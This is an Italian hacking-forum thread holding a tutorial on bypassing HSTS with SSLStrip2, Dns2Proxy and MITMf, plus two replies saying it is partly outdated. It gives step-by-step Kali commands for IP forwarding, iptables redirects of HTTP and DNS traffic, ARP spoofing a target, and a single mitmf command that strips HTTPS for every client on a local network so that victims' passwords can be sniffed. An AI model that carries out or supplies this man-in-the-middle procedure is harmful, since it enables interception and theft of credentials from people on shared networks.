Domanda [GUIDA] SSLStrip 2, come bypassare HSTS

Stato
Discussione chiusa ad ulteriori risposte.

BlackHack00

Utente Gold
8 Febbraio 2009
627
36
183
299
Ultima modifica:
Autore: BlackHack00
Fonte: http://duxhack.blogspot.com

offensive-exploiting-dns-servers-changes-blackhat-asia-2014-21-638.jpg


Tutti quelli che sono interessati da qualche anno al penetration testing avranno sicuramente sentito parlare del famoso programma "SSLStrip", ma facciamo un piccolo ripassino.

Circa 6 anni fa, alla BlackHAT Conference del 2009, e' stato presentato SSLStrip, un tool scritto in python che sostituiva tutti i link "https" con link "http", permettendo quindi ad un attaccante, di sniffare tranquillamente le password delle vittime sulla sua rete LAN.

Per ovviare a questo problema, circa 3 anni fa è stata trovata come soluzione, l'implementazione di una nuova "Security Policy" chiamata "Http Strict Transport Security", che impedisce al browser di connettersi alle pagine non criptate, rendendo inutile SSLStrip e tutte le altre tecniche utilizzate fino a quel momento. Tutti i principali server, ad oggi, utilizzano questo nuovo metodo.

Negli ultimi mesi però, gli esperti di sicurezza hanno ricominciato a far sentire la loro voce e a trovare nuovi metodi per fronteggiare questa nuova protezione, sfornando in poco tempo due nuove tecniche.
La prima, la meno conosciuta ed efficace, sarebbe quella di effettuare un attacco MITM alle comunicazioni del protocollo NTP (Network Time Protocol). Infatti, come tutti sappiamo, i sistemi operativi hanno la possibilità' di sincronizzare l'ora con quella di internet, e fanno questo tramite il protocollo NTP. Esistono numerose versioni di questo protocollo, e la maggior parte dei sistemi implementa versioni vecchie, che non supportano ancora una comunicazione criptata.
L'attacco in se, funziona intercettando la comunicazione tra la vittima e il server che restituisce l'ora al protocollo, e fornendo alla vittima una data ed un ora simili (ovvero viene cambiato solo l'anno; il giorno, il numero e il mese rimangono invariati, così che non sia evidente il cambiamento), che però portino alla data di scadenza del certificato HSTS.
Per effettuare questo attacco, il programma più comunemente usato si chiama Delorean, un tool in python che non approfondirò in questo articolo.


[size=+2]** IL NUOVO METODO[/size]
Il secondo metodo, nonché il più recente ed accreditato, è quello utilizzato dalla "nuova versione" di SSLStrip, ovvero SSLStrip 2, un nuovo script in python scritto da LeonardoNve.
Ho utilizzato le virgolette nel definirlo una nuova versione, perché utilizza una tecnica completamente diversa, pensata proprio per ovviare a tutti i problemi legati alle nuove protezioni, e basata su un vero e proprio DNS spoofing.

Basandosi, infatti, su questo tipo di attacco MITM, può eludere non solo la protezione HSTS, grazie al fatto che, l'attaccante si connetterà al nostro dns, quindi in linea teorica al nostro sito web non protetto da quella policy, ma anche dai noiosi avvisi di sicurezza legati alla scadenza del certificato SSL del sito!
Il tutto in modo ancora più sicuro per l'attaccante, poiché, come mostrato nell'immagine, tramite il tool Dns2Proxy potremmo ottenere un dns server proxato, in modo da evitare (in parte) anche la possibilità di essere scoperti.
Ora che avete (spero) capito il funzionamento generale del programma, passiamo alla pratica, con Kali


[size=+2]** COME UTILIZZARLO[/size]
Prima di tutto, assicuriamoci di avere il sistema in ordine, eseguendo un controllo sugli update
Codice:
apt-get update
apt-get upgrade
Ora scarichiamo i due tool già citati, ovvero SSLStrip2 e Dns2Proxy, estraiamoli dai rispettivi archivi, e spostandoci nella cartella di sslstrip2 tramite terminale. Installiamolo digitando:
Codice:
python setup.py install
Fatto questo, iniziamo ad abilitare l'Ip Forwarding e settare le varie direttive iptables per garantirne il funzionamento:
Codice:
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
Ora, può iniziare effettivamente l'attacco. Spostiamoci nella directory di dns2proxy e lanciamolo digitando:
Codice:
python dns2proxy -i
E' necessario specificare l'interfaccia nel caso non sia quella di default, ovvero la eth0.
Quindi lanciamo anche sslstrip2 in ascolto sulla porta 8000:
Codice:
sslstrip -l 8000 -a
Infine, utilizziamo arpspoof per intercettare i dati:
Codice:
arpspoof -i  -t
Noterete sicuramente che l'attacco non sarà perfetto, infatti è probabile che qualche sito riesca lo stesso a mantenere la connessione sicura mentre altri siti causeranno un errore nel programma, che non riuscirà a collegarsi al DNS reale del sito. Comunque sia avendo un buon margine di successo ci potremo ritenere soddisfatti.


[size=+2]** CONCLUSIONI E CONSIGLI[/size]
I "problemi" di questo attacco saranno principalmente due:
Il procedimento è un po lungo e noioso (non è un gran problema ma....)
Il target di questo attacco è solo uno
Per ovviare al primo problema, è stato già scritto uno script bash che ci automatizza il lavoro, se opportunamente settato, e scaricabile da QUA
Infine, per premiare chi è arrivato a leggere fino a qua, senza scappare subito su kali, consiglio di gran lunga di utilizzare il nuovo framework per gli attacchi man-in-the-middle, chiamato MITMF.
Infatti, è stata da poco integrata la funzione per il bypassing di hsts tramite un plug-in configurato per utilizzare SSLStrip2. Tramite questo framework potremo, con un semplice comando, risolvere anche il secondo problema, poichè lanciando il comando:
Codice:
mitmf -i  --arp --spoof --hsts --gateway
Effettueremo un arp spoofing, bypassando hsts e (non specificando il target) su tutti i client connessi alla rete.
Per finire vi consiglio di spulciarvi per bene le numerose funzioni di mitmf e dare un occhiata ai link qua sotto.


[size=+2]** LINKS UTILI[/size]
BYPASSING HSTS TRAMITE NTP MITM
EXPLOITING DNS SERVERS CHANGES BLACKHAT 2014
SLIDE DELLA CONFERENZA
 
Direi parzialmente obsoleto, ovvero non funziona con domini come facebook.com e gmail.com ad esempio.
 
Fino a poco tempo fa MITM funzionava con Hotmail e Gmail anche se su facebook non l'ho mai testato. Personalmente la procedura descritta nel thread la provai tempo fa e non ha funzionato. Forse con qualche sito di medio livello potrebbe funzionare, comunque grazie per aver condiviso il tutorial
 
Stato
Discussione chiusa ad ulteriori risposte.